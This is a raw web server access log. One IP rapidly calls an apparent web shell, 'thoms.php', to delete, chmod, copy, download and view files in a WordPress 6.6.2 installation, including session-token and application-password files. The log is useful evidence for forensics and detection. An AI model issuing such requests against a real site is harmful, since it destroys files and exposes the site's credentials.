45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?chmod=meta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=meta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?del=widgets&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=widgets&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=widgets&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?del=class-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22265 "https://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?dl=formatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?chmod=script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22253 "https://163.245.207.76:443/thoms.php?dl=formatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22104 "https://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?del=block-supports&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=block-supports&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22261 "https://163.245.207.76:443/thoms.php?del=block-supports&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?del=rss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=rss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=session.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?chmod=taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22258 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22252 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-section.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?del=class-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frest-api HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22245 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?chmod=query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22178 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?del=class-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?del=media-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?del=post-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=media-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=post-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?chmod=script-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?chmod=pomo&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=pomo&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
